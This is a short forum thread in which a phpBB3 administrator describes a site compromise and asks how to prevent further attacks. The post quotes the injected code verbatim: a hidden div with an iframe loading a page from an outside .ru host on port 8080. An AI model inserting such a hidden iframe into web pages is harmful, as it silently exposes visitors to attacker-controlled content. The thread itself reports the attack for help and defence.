The forum was hacked... help~~

[Fishingsnow]

Hello folks,

I am running a php 3.0.5 forum and the forum was hacked a number of times from yesterday. The phenomenon is as follows:

1. When browsing the fontpage, it says, Parse error: syntax error, unexpected '<' in /phpBB3/index.php on line 127
2. When opening the file, the php code was cut off at line 127 and the following code was attached:
<div style="display:none"><iframe src="http://biozavr.ru:8080/index.php" width=917 height=923 ></iframe></div>
3. It seems all php files with "index" were infected, like /phpBB3/index.php, /phpBB3/cache/tpl_prosilver_index_body.html.php, /phpBB3/adm/index.php and /phpBB3/include/hooks/index.php.

Basically what I did is overwrite those files from the backup but I am just wondering is there any way to prevent the future attack from these xxx.ru sites? Or has anyone encountered the same problem?

It seems the FTP account is still confidential because only files with "index" in their names are affected. Any advice will be greatly appreciated.

Thanks!

[Kevin Clark]

Please follow this
viewtopic.php?f=46&t=543171#iit